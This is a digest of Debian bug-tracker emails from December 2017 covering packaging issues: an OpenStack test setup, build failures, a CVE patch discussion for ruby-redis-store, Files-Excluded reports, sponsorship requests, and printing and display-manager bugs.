Bug#883723: [PKG-Openstack-devel] Bug#883723: openstack-deploy: undocumented

[Wouter Verhelst]

On Thu, Dec 07, 2017 at 09:43:12PM +0100, Thomas Goirand wrote:
> On 12/07/2017 12:39 PM, Wouter Verhelst wrote:
> > - After doing all that, I can go through the "Launch instance" wizard in
> >   the webinterface. It accepts my choices; but when it gets around to
> >   actually trying to spawn the VM, the machine becomes unresponsive.
> >   Once it starts being responsive again, it says "No valid host was
> >   found. There are not enough hosts available." It's not clear to my
> >   what exactly went wrong; this may be fixed by some configuration, or
> >   it may not.
> 
> The "No valid host was found" should be interpreted as "no compute host
> is working, I can't start the VM". Since you have only one compute node,
> it means that host doesn't work.
> 
> Have you made sure to replace nova-compute-kvm by nova-compute-qemu,
> since you're in a VM? After doing so, make sure to restart nova-compute.

Well, on the bare metal I do have...

root@latin ~ # cat /sys/module/kvm_intel/parameters/nested 
Y

...so I was under the impression that that should just work? I now see
that you also need to configure the host VM to have particular CPU bits
set, so maybe that was my mistake.

Anyway, since this is just meant for a test setup it's not critical, so
if my new attempt doesn't work I'll try the qemu thing.

> > At this point, I can't remove the instance anymore either,
> >   with a "CSRF token missing or incorrect" error message.
> 
> This is a known bug in Horizon in Stretch, due to an incompatibility
> with Django 1.10. It has been fixed since, but I haven't investigated in
> which commit, so I could backport it.
> 
> Instead of selecting the instance with the checkbox, just click on the
> dropdown and click on terminate. This should work.

Well, between this and the above and a few other mistakes I'd made, I
decided that starting over would be a good idea, so I destroyed the
containing VM and started over from scratch. So I can't test this right
now, but I think I couldn't do "terminate" since the VM wasn't
running...

> > It feels like the system is fairly close to a working setup, though.
> 
> Once you've fixed the nova issue, I'm quite sure you'll have trouble
> with the networking (unless you've followed the install guide to make
> your networking setup).

I did have some network up, but I don't know whether it worked :-)

[...]
-- 
Could you people please use IRC like normal people?!?

  -- Amaya Rodrigo Sastre, trying to quiet down the buzz in the DebConf 2008
 Hacklab

Bug#878498: snakemake FTBFS with Python 3.6 as default

[Andreas Tille]

Hi,

On Thu, Dec 07, 2017 at 10:49:57AM +0500, Andrey Rahmatullin wrote:
> > I've upgraded snakemake in Git to latest upstream but its featuring the
> > same issue.  I'm pretty sure you Python people know a simple answer for
> > this issue.
> Did you see this part?
> 
> > > The problem is the the following line in debian/rules:
> > > 
> > >   export PATH:=$(CURDIR)/.pybuild/pythonX.Y_3.5/build/bin:$(PATH)

I can confirm that after Andrey read this part aloud to me the patch was
really simple.  So what we could do is uploading the current old version
of snakemake to fix this bug.

However Chris has pointed out to me that we are lagging behind upstream
and injected a new upstream version.  Meanwhile there was another
version bump and I imported the latest version (Chris, please make sure
you also import pristine-tar next time).

The problem is that when trying to build this I get a lot of errors in
the build time tests.  Is there any volunteer to have a look?

Kind regards

   Andreas.

-- 
http://fam-tille.de

Bug#866980: Won't fix

[Andreas Tille]

Ping?  What about removal of biomaj-watcher?

On Tue, Dec 05, 2017 at 08:09:33AM +0100, Andreas Tille wrote:
> Hi Olivier,
> 
> On Wed, 27 Sep 2017 you wrote:
> > As this package version is deprecated in favor of biomaj3 (in NEW queue at
> > this time), this is not really needed to fix.
> 
> Since biomaj3 is available now do you want to open a Request Of Removal bug
> to get this settled?
> 
> I'd also think that the bug is only closes in the case that package
> python3-biomaj3 "Provides: biomaj" to provide a clean upgrade path.
> 
> Kind regards
> 
>   Andreas.
> 
> -- 
> http://fam-tille.de

-- 
http://fam-tille.de

Bug#882034: ruby-redis-store for jessie and stretch (#882034 CVE-2017-1000248). Proposed patch

[Salvatore Bonaccorso]

Hi Cédric,

On Fri, Dec 01, 2017 at 10:44:22PM +0100, Cédric Boutillier wrote:
> Hi,
> 
> I have prepared a patch for Debian bug #882034 (CVE-2017-1000248) from
> by adapting the upstream patch from
> 
> https://github.com/redis-store/redis-store/pull/290
> 
> (which should be applied after
> https://github.com/redis-store/redis-store/commit/bcd1c28cf10ff18b4352cdacbe04113af3fec68d,
> not present in the version 1.1.6)
> 
> Please find attached the debdiff for the version in Stretch.
> It is the same as the change for 1.1.6-2 which went to unstable (without
> the additional packaging change).
> 
> As jessie has the same version, the debdiff will look the same except
> the one line in the changelog with version number and suite.
> 
> Do you ack this patch, and allow me to upload to security.debian.org?

Sorry for not coming earlier back to you.

Thanks a lot for fixing this in unstable and experimental, so we have
quarantee that it's fixed in next stable. For stretch: Can you fix the
issue via a point release? 

What do you mean by the version in jessie? AFAICT the package was not
renamed, and ruby-redis-store is not present in jessie, do I miss
something?

Regards,
Salvatore

Bug#756742: Reply to bug 756742

[Raphael Hertzog]

Hello Fabian,

On Thu, 07 Dec 2017, Fabian Bmn wrote:
> i would like to tackle this implementation, because i think it's a good bug
> for me to start the work on the package tracker.

Nice. Have a look at our contributor doc:
https://tracker.debian.org/docs/contributing.html

Then feel free to ask questions here or on #debian-qa on IRC (I'm buxy
there).

If you prefer to start with a few smaller tasks to get
your hands dirty, have a look at those bugs with the newcomer tag:
https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=newcomer&pend-exc=pending-fixed&pend-exc=fixed&pend-exc=done&src=tracker.debian.org

Cheers,
-- 
Raphaël Hertzog ◈ Debian Developer

Support Debian LTS: https://www.freexian.com/services/debian-lts.html
Learn to master Debian: https://debian-handbook.info/get/

Bug#883839: RFS: terminal.app/0.9.9-1

[Yavor Doganov]

Package: sponsorship-requests
Severity: normal

Dear mentors,

I am looking for a sponsor for my package "terminal.app"

 * Package name: terminal.app
   Version : 0.9.9-1
   Upstream Author : Alexander Malmberg  and others
 * URL : http://gap.nongnu.org/terminal/
 * License : GPL-2
   Section : gnustep

It builds this binary package:

  terminal.app - Terminal Emulator for GNUstep

To access further information about this package, please visit the
following URL:

  https://mentors.debian.net/package/terminal.app

Alternatively, one can download the package with dget using this
command:

  dget -x 
https://mentors.debian.net/debian/pool/main/t/terminal.app/terminal.app_0.9.9-1.dsc

Or clone the Git repository:

  git clone https://anonscm.debian.org/git/pkg-gnustep/terminal.app.git

Changes since the last upload:

  * New upstream release (identical to 0.9.8.1 which was actually a
snapshot of SVN trunk and not a proper release).
  * debian/patches/FTBFS-kFreeBSD: Refresh and fix yet another FTBFS on
GNU/kFreeBSD.
  * debian/patches/fix-int-to-pointer-cast.patch: New (Closes: #749796).
  * debian/patches/check-write-return-value.patch: New, check the return
value of `write'; fixes a compiler warning.
  * debian/patches/series: Update.
  * debian/compat: Bump compat level to 10.
  * debian/control (Build-Depends): Bump debhelper requirement to >= 10.
Remove imagemagick and dpkg-dev; no longer needed.  Require
gnustep-make >= 2.7.0-3 for recent config.mk.
(Vcs-Git, Vcs-Browser): Use secure/canonical URIs.
(Standards-Version): Claim compliance with 4.1.2 as of this release.
  * debian/menu:
  * debian/clean: Delete.
  * debian/install: Don't install the .xpm icon.
  * debian/preinst:
  * debian/postinst:
  * debian/prerm: Delete maintainer scripts; no longer needed.
  * debian/rules: Rewrite for modern dh.
  * debian/changelog: Whitespace cleanup.
  * debian/watch: Upgrade to version 4; use secure URI.
  * debian/Terminal.desktop: Add Keywords field.
  * debian/copyright: Update copyright years and Gürkan's name.  Use https
for the Format field.

P.S.  The package doesn't pass the piuparts test because of #832349 but
  the instance at piuparts.d.o runs with --warn-on-others so that's
  not a problem.

Bug#876147: camp frequently FTBFS on 64bit big endian: camptest-qt (Failed)

[Andreas Tille]

Hi Flavien,

I have put the porter lists of the affected architectures in CC whether
there is somebody who has a hint for a better solution than removing
these architectures from the supported architectures.  This kind of
"random failure"[1] is quite hard to debug for somebody who is not
familiar for the said architectures.

Kind regards

   Andreas.

[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=876147#20

-- 
http://fam-tille.de

Bug#883840: RFS: spglib/1.10.1-1 [ITP] -- C library for crystal symmetry determination

[Andrius Merkys]

Package: sponsorship-requests
Severity: normal

Dear mentors,

I am looking for a sponsor for my package "spglib":

 * Package name: spglib
   Version : spglib/1.10.1-1
   Upstream Author : Atsushi Togo 
 * URL : https://atztogo.github.io/spglib/
 * License : BSD-3-Clause
   Section : science

It builds those binary packages:

  libsymspg0-dev - C library for crystal symmetry determination


Spglib is a C library for crystal symmetry determination. Symmetry
operations, space groups and other data can be obtained using this
symmetry finder.

Features include:

* Identify space-group type
* Find symmetry operations
* Find a primitive cell
* Search irreducible k-points
* Refine crystal structure
* Wyckoff position assignment

The package implements symmetry determination algorithms by  
Grosse-Kunstleve (Acta Cryst., A55, 383-395 (1999)) and Grosse-Kunstleve
and Adams (Acta Cryst., A58, 60-65 (2002)). There are language bindings
for Python, Fortran and Ruby.

Packaging of spglib was previously requested in RFPs #602113 and #674135 
(merged).


To access further information about this package, please visit the following 
URL:

https://anonscm.debian.org/git/debian-science/packages/spglib.git


Alternatively, a package can be GIT cloned from the packaging repository by:

git clone git://anonscm.debian.org/git/debian-science/packages/spglib.git



Best regards,
Andrius Merkys

Bug#883070: Several comments upon subject

[Anton Dunaev]

It looks like Xorg server ignores SIGTERM. At least it doesn't die when I invoke
  kill -TERM 
from the command line.

Also I've found that Xorg server dies upon receiption of SIGQUIT and SIGUSR2.
Sending either of theese signals solves issue with hangup of
``systemctl stop xdm.service`` but doesn't solve issue with VT
switching.

Hope, this info will help you.


BTW, LXDM also have same issue with DM stopping [as for me].

-- 
С уважением, Дунаев Антон.
mailto: duan...@gmail.com

Bug#883841: isdnactivecards: Source includes "pcbit/convhexbin.c" listed in Files-Excluded header

[Chris Lamb]

Source: isdnactivecards
Version: 1:3.12.2007-11-27-1
Severity: serious
User: la...@debian.org
Usertags: files-excluded

Dear Maintainer,

isdnactivecards lists "pcbit/convhexbin.c" in the Files-Excluded field
in debian/copyright but the source tree contains this file.

This is probably a DFSG violation, or at the upstream tarball was not
repacked as intended. Alternatively, the field is simply out of date.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#883842: superlu: Source includes "SRC/mc64ad.c" listed in Files-Excluded header

[Chris Lamb]

Source: superlu
Version: 5.2.1+dfsg1-3
Severity: serious
User: la...@debian.org
Usertags: files-excluded

Dear Maintainer,

superlu lists "SRC/mc64ad.*" in the Files-Excluded field
in debian/copyright but the source tree contains SRC/mc64ad.c.

This is probably a DFSG violation, or at the upstream tarball was not
repacked as intended. Alternatively, the field is simply out of date.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#883843: python-openstackdocstheme: Source includes "bootstrap.min.css" etc. listed in Files-Excluded header

[Chris Lamb]

Source: python-openstackdocstheme
Version: 1.16.1-2
Severity: serious
User: la...@debian.org
Usertags: files-excluded

Dear Maintainer,

python-openstackdocstheme lists "[…]/css/bootstrap.min.css" in the
Files-Excluded field in debian/copyright but the source tree contains
this file and others.

This is probably a DFSG violation, or at least the upstream tarball was
not repacked as intended. Alternatively, the field is simply out of date.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#883846: haskell-shake: Source includes "html/viz.js" listed in Files-Excluded header

[Chris Lamb]

Source: haskell-shake
Version: 0.15.11-1
Severity: serious
User: la...@debian.org
Usertags: files-excluded

Dear Maintainer,

haskell-shake lists "html/viz.js" in the Files-Excluded field
in debian/copyright but the source tree contains this file.

This is probably a DFSG violation, or at least the upstream tarball was
not repacked as intended. Alternatively, the field is simply out of date.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#883844: plink: Source includes "blox.cpp~" and "webcheck.cpp~" listed in Files-Excluded header

[Chris Lamb]

Source: plink
Version: 1.07-9
Severity: normal
User: la...@debian.org
Usertags: files-excluded

Dear Maintainer,

plink lists "*~" in the Files-Excluded field in debian/copyright but
the source tree contains blox.cpp~ and webcheck.cpp~.

This probably means the upstream tarball was not repacked as intended.
Alternatively, the field is simply out of date. :)


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#883845: mgltools-vision: Source includes "Vision/doc/Examples/lena.jpg" listed in Files-Excluded header

[Chris Lamb]

Source: mgltools-vision
Version: 1.5.7-1
Severity: serious
User: la...@debian.org
Usertags: files-excluded

Dear Maintainer,

mgltools-vision lists "*/lena.jpg" in the Files-Excluded field
in debian/copyright but the source tree contains Vision/doc/Examples/lena.jpg
as well as some other instances of this file.

This is probably a DFSG violation, or at least the upstream tarball was
not repacked as intended. Alternatively, the field is simply out of date.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#883847: cantata: Source includes "support/fontawesome-webfont.ttf" listed in Files-Excluded header

[Chris Lamb]

Source: cantata
Version: 2.1.0.ds1-1
Severity: serious
User: la...@debian.org
Usertags: files-excluded

Dear Maintainer,

cantata lists "support/fontawesome-webfont.ttf" in the Files-Excluded field
in debian/copyright but the source tree contains this file.

This is probably a DFSG violation, or at least the upstream tarball was
not repacked as intended. Alternatively, the field is simply out of date.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#883848: genometools: Source includes "src/external/lpeg-0.10.2/lua-lpeg.h" listed in Files-Excluded header

[Chris Lamb]

Source: genometools
Version: 1.5.10+ds-1
Severity: serious
User: la...@debian.org
Usertags: files-excluded

Dear Maintainer,

genometools lists "src/external" in the Files-Excluded field
in debian/copyright but the source tree contains (eg.)
2src/external/lpeg-0.10.2/lua-lpeg.h".

This is probably a DFSG violation, or at least the upstream tarball was
not repacked as intended. Alternatively, the field is simply out of date.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#444874: network-manager-openvpn: nm-openvpn still messes default routes

[Bruno BEAUFILS]

Package: network-manager-openvpn
Version: 1.2.8-2
Followup-For: Bug #444874

Dear Maintainer,

I can confirm that I also have the same bug. Using openvpn directly (with
command line) add routes specified by the server and nothing more, whereas
using the GUI *add* a default route (to the tap interface in my case) with a
very short metric :

default dev tap0 proto static scope link metric 50

That make the whole network routes completely unusable.

The only workaround so far is to stop using this package and going back to
command line and script.



-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 4.13.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=fr_FR.utf8, LC_CTYPE=fr_FR.utf8 (charmap=UTF-8), 
LANGUAGE=fr_FR.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages network-manager-openvpn depends on:
ii  adduser  3.116
ii  libc62.25-3
ii  libglib2.0-0 2.54.1-1
ii  libnm0   1.10.0-1
ii  network-manager  1.10.0-1
ii  openvpn  2.4.4-1

network-manager-openvpn recommends no packages.

network-manager-openvpn suggests no packages.

-- no debconf information

Bug#876147: camp frequently FTBFS on 64bit big endian: camptest-qt (Failed)

[John Paul Adrian Glaubitz]

We have a new sparc64 porterbox called sakharov.debian.net. Feel free to test 
your code there.

Adrian

> On Dec 8, 2017, at 9:49 AM, Andreas Tille  wrote:
> 
> Hi Flavien,
> 
> I have put the porter lists of the affected architectures in CC whether
> there is somebody who has a hint for a better solution than removing
> these architectures from the supported architectures.  This kind of
> "random failure"[1] is quite hard to debug for somebody who is not
> familiar for the said architectures.
> 
> Kind regards
> 
>   Andreas.
> 
> [1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=876147#20
> 
> -- 
> http://fam-tille.de

Bug#883672: incorrect rendering of pdf using libpoppler68 backend

[Phil Wyett]

On Fri, 2017-12-08 at 07:36 +, Marcus Britanicus wrote:
> Here is the file I used. I regret to tell you that even in libpoppler72 the
> same problem prevails.

I have tested the supplied file on stretch, buster and sid - GNOME desktop with
evince and it renders correctly on all. Maybe there are specific issues within
the file or another that can be pointed at that offer easy reproducibility?

Regards

Phil

-- 
*** If this is a mailing list, I am subscribed, no need to CC me.***

Playing the game for the games sake.

Web: https://kathenas.org

GitLab: https://gitlab.com/kathenas

Twitter: kathenasorg

Instagram: kathenasorg

GPG: 1B97 6556 913F 73F3 9C9B 25C4 2961 D9B6 2017 A57A

signature.asc
Description: This is a digitally signed message part

Bug#883794: gcc-7: Please enable gccgo on m68k

[Matthias Klose]

On 07.12.2017 16:41, John Paul Adrian Glaubitz wrote:
> Source: gcc-7
> Version: 7.2.0-17
> Severity: normal
> User: debian-...@lists.debian.org
> Usertags: m68k
> 
> Hi!
> 
> After gccgo-7 was disabled for m68k in #853906 as gcc-7 didn't build
> successfully with the Go front enabled on that target, I'm happy to
> report that I have successfully re-tested gcc-7 on m68k meaning the
> build no longer fails :).
> 
> I haven't done thorough testing yet, but I the fact that gcc-7 builds
> fine with Go enabled already means that the compiler works which is
> enough for us to do further testing of Go on m68k in the future.
> 
> So, please remove m68k from "go_no_cpus" in debian/rules.defs.

what about gcc-8?

Bug#767016: cron does start before sssd and therefore authentication fails

[Martin Zobel-Helas]

Hi,

On Tue, Mar 08, 2016 at 02:36:09PM +0100, Harald Dunkel wrote:
> Attached is a patch. Hope this helps.

This patch is not helpful. This is only fixing a sympton.

What you really want to do is fix it like RedHat fixed it:
https://bugzilla.redhat.com/show_bug.cgi?id=1067236#c8 (Comment 8).

I can reproduce this BR quite easy here.

> diff -ur old/cron-3.0pl1/debian/changelog cron-3.0pl1/debian/changelog
> --- old/cron-3.0pl1/debian/changelog  2016-03-08 14:33:16.0 +0100
> +++ cron-3.0pl1/debian/changelog  2016-03-08 14:32:51.976319657 +0100
> @@ -1,3 +1,10 @@
> +cron (3.0pl1-128.1) unstable; urgency=medium
> +
> +  * Non-maintainer upload.
> +  * make sure cron is started last and stopped first. Closes: #767016
> +
> + -- Harald Dunkel   Tue, 08 Mar 2016 14:12:41 +0100
> +
>  cron (3.0pl1-128) unstable; urgency=medium
>  
>* d/cron.service: Use KillMode=process to kill only the daemon.
> diff -ur old/cron-3.0pl1/debian/cron.init cron-3.0pl1/debian/cron.init
> --- old/cron-3.0pl1/debian/cron.init  2016-03-08 14:33:16.0 +0100
> +++ cron-3.0pl1/debian/cron.init  2016-03-08 14:11:38.048543606 +0100
> @@ -5,8 +5,8 @@
>  # Provides:  cron
>  # Required-Start:$remote_fs $syslog $time
>  # Required-Stop: $remote_fs $syslog $time
> -# Should-Start:  $network $named slapd autofs ypbind nscd nslcd winbind
> -# Should-Stop:   $network $named slapd autofs ypbind nscd nslcd winbind
> +# Should-Start:  $all
> +# Should-Stop:   $all
>  # Default-Start: 2 3 4 5
>  # Default-Stop:
>  # Short-Description: Regular background program processing daemon
> diff -ur old/cron-3.0pl1/debian/cron.service cron-3.0pl1/debian/cron.service
> --- old/cron-3.0pl1/debian/cron.service   2016-03-08 14:33:16.0 
> +0100
> +++ cron-3.0pl1/debian/cron.service   2016-03-08 14:12:29.118294423 +0100
> @@ -7,6 +7,7 @@
>  ExecStart=/usr/sbin/cron -f $EXTRA_OPTS
>  IgnoreSIGPIPE=false
>  KillMode=process
> +Type=idle
>  
>  [Install]
>  WantedBy=multi-user.target

Best regards,
Martin
-- 
 Martin Zobel-Helas Debian System Administrator
 Debian & GNU/Linux Developer   Debian Listmaster
 http://about.me/zobel   Debian Webmaster
 GPG Fingerprint:  6B18 5642 8E41 EC89 3D5D  BDBB 53B1 AC6D B11B 627B 

Bug#855494: Suggested removal of mgltools from Debian (Was: SVN to Git migration status)

[Andreas Tille]

Hi again,

On Fri, Dec 01, 2017 at 02:24:18PM +0100, Andreas Tille wrote:
> > >* RC-buggy (#855494 :-()
> > This should have been addressed with that one upload of mine that apparently
> > had been lost before when the bug was addressed by upstream about two years
> > ago.
> 
> But the program does not yet start. :-(

Since a mgltools part now received a bug report (#883845) which I feel
responsible to some extend since I once cared for the removal of the
non-free image, I hereby want to request a clear commitment of the
persons mentioned in the Uploaders field whether bug #855494 will be
fixed **soon** (= until 24.12.) to know whether it is worth spending
some effort into it, or whether it is better to ask for removal since
we have no manpower to solve RC bugs.

Kind regards

   Andreas.

-- 
http://fam-tille.de

Bug#883842: superlu: Source includes "SRC/mc64ad.c" listed in Files-Excluded header

[Sébastien Villemot]

Control: severity -1 normal

On Fri, Dec 08, 2017 at 09:07:17AM +, Chris Lamb wrote:
> Source: superlu
> Version: 5.2.1+dfsg1-3
> Severity: serious
> User: la...@debian.org
> Usertags: files-excluded

> superlu lists "SRC/mc64ad.*" in the Files-Excluded field
> in debian/copyright but the source tree contains SRC/mc64ad.c.
> 
> This is probably a DFSG violation, or at the upstream tarball was not
> repacked as intended. Alternatively, the field is simply out of date.

Thanks Chris for reporting this.

Actually the case is more complicated: files matching SRC/mc64ad.* in upstream
tarball are indeed non-free, but have been correctly removed in the repackaged
tarball (hence I'm downgrading the severity).

However, a new (free) SRC/mc64ad.c is regenerated through a patch
(debian/patches/mc64ad-stub.patch) in order to make the package compile despite
the removal of the non-free files.

I guess you detected the free stub version of the file. Still the
debian/copyright is correct. So maybe this bug can be closed? Or do you have a
suggestion on how to better handle that case?

Best,

-- 
⢀⣴⠾⠻⢶⣦⠀  Sébastien Villemot
⣾⠁⢠⠒⠀⣿⡁  Debian Developer
⢿⡄⠘⠷⠚⠋⠀  http://sebastien.villemot.name
⠈⠳⣄  http://www.debian.org


signature.asc
Description: PGP signature

Bug#883070: A bit more info from experiments.

[Anton Dunaev]

I've tested yet another 2 desktop managers - slim and lightdm.

Slim doesn't hang upon termination via ``systemctl stop'' but enters
failed state due to its exitcode.
Lightdm works almost perfectly - it doesn't hang and doesn't enter failed state.



-- 
С уважением, Дунаев Антон.
mailto: duan...@gmail.com

Bug#883794: gcc-7: Please enable gccgo on m68k

[John Paul Adrian Glaubitz]

On 12/08/2017 10:29 AM, Matthias Klose wrote:
>> So, please remove m68k from "go_no_cpus" in debian/rules.defs.
> 
> what about gcc-8?

I will start a test build now and let you know. Should be done
by the evening/tomorrow.

Adrian

-- 
 .''`.  John Paul Adrian Glaubitz
: :' :  Debian Developer - glaub...@debian.org
`. `'   Freie Universitaet Berlin - glaub...@physik.fu-berlin.de
  `-GPG: 62FF 8A75 84E0 2956 9546  0006 7426 3B37 F5B5 F913

Bug#883849: libwebkit2gtk-4.0-37 uninstallable because gst-plugins-bad1.0 is now at 1.12.4

[Paul Gevers]

Package: libwebkit2gtk-4.0-37
Version: 2.18.3-1
Severity: grave
Justification: renders package unusable

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

While trying to build a new version of liferea in unstable, I noticed that
libwebkit2gtk-4.0-37 is uninstallable due to a newer version of
gst-plugins-bad1.0.

libwebkit2gtk-4.0-37 Depends libgstreamer-plugins-bad1.0-0 (<< 1.12.4)

Paul

- -- System Information:
Debian Release: buster/sid
  APT prefers testing-debug
  APT policy: (500, 'testing-debug'), (500, 'testing'), (200, 'testing'), (50, 
'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 4.13.0-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages libwebkit2gtk-4.0-37 depends on:
ii  libatk1.0-0 2.26.0-2
ii  libc6   2.25-2
ii  libcairo2   1.15.8-2
ii  libegl1 1.0.0-1
ii  libenchant1c2a  1.6.0-11.1
ii  libfontconfig1  2.12.6-0.1
ii  libfreetype62.8.1-0.1
ii  libgcc1 1:7.2.0-16
ii  libgcrypt20 1.8.1-4
ii  libgdk-pixbuf2.0-0  2.36.11-1
ii  libgl1  1.0.0-1
ii  libglib2.0-02.54.1-1
ii  libgstreamer-plugins-bad1.0-0   1.12.3-2
ii  libgstreamer-plugins-base1.0-0  1.12.3-1
ii  libgstreamer1.0-0   1.12.3-1
ii  libgtk-3-0  3.22.24-3
ii  libharfbuzz-icu01.6.2-1
ii  libharfbuzz0b   1.6.2-1
ii  libhyphen0  2.8.8-5
ii  libicu5757.1-8
ii  libjavascriptcoregtk-4.0-18 2.18.3-1
ii  libjpeg62-turbo 1:1.5.2-2+b1
ii  libnotify4  0.7.7-2
ii  libpango-1.0-0  1.40.12-1
ii  libpng16-16 1.6.34-1
ii  libsecret-1-0   0.18.5-4
ii  libsoup2.4-12.60.2-1
ii  libsqlite3-03.21.0-1
ii  libstdc++6  7.2.0-16
ii  libtasn1-6  4.12-3
ii  libwayland-client0  1.14.0-1+b1
ii  libwayland-egl1-mesa [libwayland-egl1]  17.2.5-1
ii  libwayland-server0  1.14.0-1+b1
ii  libwebp60.6.0-4
ii  libx11-62:1.6.4-3
ii  libxcomposite1  1:0.4.4-2
ii  libxdamage1 1:1.1.4-3
ii  libxml2 2.9.4+dfsg1-5.1
ii  libxslt1.1  1.1.29-5
ii  zlib1g  1:1.2.8.dfsg-5

Versions of packages libwebkit2gtk-4.0-37 recommends:
ii  gstreamer1.0-alsa  1.12.3-1
ii  gstreamer1.0-plugins-base  1.12.3-1
ii  gstreamer1.0-plugins-good  1.12.3-1
ii  gstreamer1.0-pulseaudio1.12.3-1
ii  libgl1-mesa-dri17.2.5-1

Versions of packages libwebkit2gtk-4.0-37 suggests:
ii  libwebkit2gtk-4.0-37-gtk2  2.18.3-1

- -- no debconf information

-BEGIN PGP SIGNATURE-

iQEzBAEBCAAdFiEEWLZtSHNr6TsFLeZynFyZ6wW9dQoFAloqY68ACgkQnFyZ6wW9
dQpIWggAw6qLK/QzX/H91DrY0yok+0C3RVPipeY1XatN2l8st/uY0M9hqTKidhuR
ohDj75UPDfwynnikLxQm8dmLeK+fM0+W1TRh+CpSPdxRUcRO4iR6TdmsU8kvLJP8
aIpm9sJ6pNh/pCpE/QhZsKjY+EY+aOBQLO6w2kv3GXZd698fD/j/nRrLHarf77hi
SktOA5edqjt+z9IXp9TRTR55Ta7T3FvSUxEu774r72q0W8XpyBB8E8E9erhR2Gwg
aSFwlLKiQPMY+4dLzCHs4p39yjeGv1tPIlf9MgQUP1mISD+NXhNWWCUU0kkNqpfR
Lvw3DtONIw15IUQqFOvOhgJKQHJUsA==
=/wDL
-END PGP SIGNATURE-

Bug#883842: superlu: Source includes "SRC/mc64ad.c" listed in Files-Excluded header

[Chris Lamb]

Hi Sébastien,

> However, a new (free) SRC/mc64ad.c is regenerated through a patch
> (debian/patches/mc64ad-stub.patch) in order to make the package compile 
> despite
> the removal of the non-free files.

Ah, interesting. :)

So, I would add an override for the "source-includes-file-in-files-excluded"
Lintian tag and include an explanation there. That should cover it I think.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#883850: gcc-7-cross-ports: Please add support for ia64 to gcc-cross-ports

[Jason Duerstock]

Source: gcc-7-cross-ports
Severity: normal

Dear Maintainer,

As I am working toward getting added to Debian ports, please add ia64 support 
to this cross package.

Thank you!



-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: ia64

Kernel: Linux 3.14-0.bpo.2-mckinley (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Bug#883708: please update to expat 2.2.5

[GCS]

Control: tags -1 +pending

On Wed, Dec 6, 2017 at 6:41 PM, Matthias Klose  wrote:
> The testsuites of the pythonX.Y packages currently fail with two errors, 
> caused
> by an issue in expat. See https://bugs.python.org/issue31170 for the details.
 Thanks, I'm in the process of reworking the package. Plan to finish
it when I'm back from holidays.

Cheers,
Laszlo/GCS

Bug#883765: cups-client: Unsupported document-format "application/octet-stream".

[P V Mathew]

Thanks for your prompt reply.
(1) The same error occurs for every printer chosen, even for PDF printer.
(2) Before update of Debian Buster yesterday every thing was ok.
(3) Firefox replies--Connection reset--- for localhost:631
(4) Tried removing and reinstalling cups in buster.
(5) Looks more like a Debian Buster problem as many other 
programs(icedove, file, man etc)

    are not working.
(6)as desired, output of lpstat -t is given below.
==
cups>lpstat -t
scheduler is running
system default destination: RA
device for ETD: socket://10.53.54.27
device for HP_deskjet_5100: hp:/usb/deskjet_5100?serial=MY37G3N13T8B
device for HP_LaserJet_Pro_M202dw: 
hp:/usb/HP_LaserJet_Pro_M202dw?serial=VNC3J23029
device for HP_LaserJet_Pro_M202dw_01FF68_: 
ipp://NPI01FF68.local:631/ipp/print

device for HP_PVM: socket://192.168.192.198
device for Kyocera_TASKalfa_3510i: socket://10.53.100.155
device for Kyocera_TASKalfa_3510i_71_: ipps://KM25E478.local:443/ipp/print
device for NehaMangal: socket://192.168.192.198
device for RA: socket://192.168.193.201
device for RitwikAnand: socket://192.168.192.201
device for SudhirBishnoi: 
hp:/net/HP_LaserJet_Professional_P1606dn?ip=10.53.40.5

ETD accepting requests since 2017-11-20T14:57:01 IST
HP_deskjet_5100 accepting requests since 2016-05-19T16:13:04 IST
HP_LaserJet_Pro_M202dw accepting requests since 2016-03-28T11:10:41 IST
HP_LaserJet_Pro_M202dw_01FF68_ accepting requests since 
2017-12-08T11:50:59 IST

HP_PVM accepting requests since 2017-03-17T09:13:21 IST
Kyocera_TASKalfa_3510i accepting requests since 2016-12-13T11:53:40 IST
Kyocera_TASKalfa_3510i_71_ accepting requests since 2017-12-08T11:50:59 IST
NehaMangal accepting requests since 2017-03-20T12:40:19 IST
RA accepting requests since 2017-12-06T17:00:12 IST
RitwikAnand accepting requests since 2017-05-15T11:14:20 IST
SudhirBishnoi accepting requests since 2016-12-16T14:30:51 IST
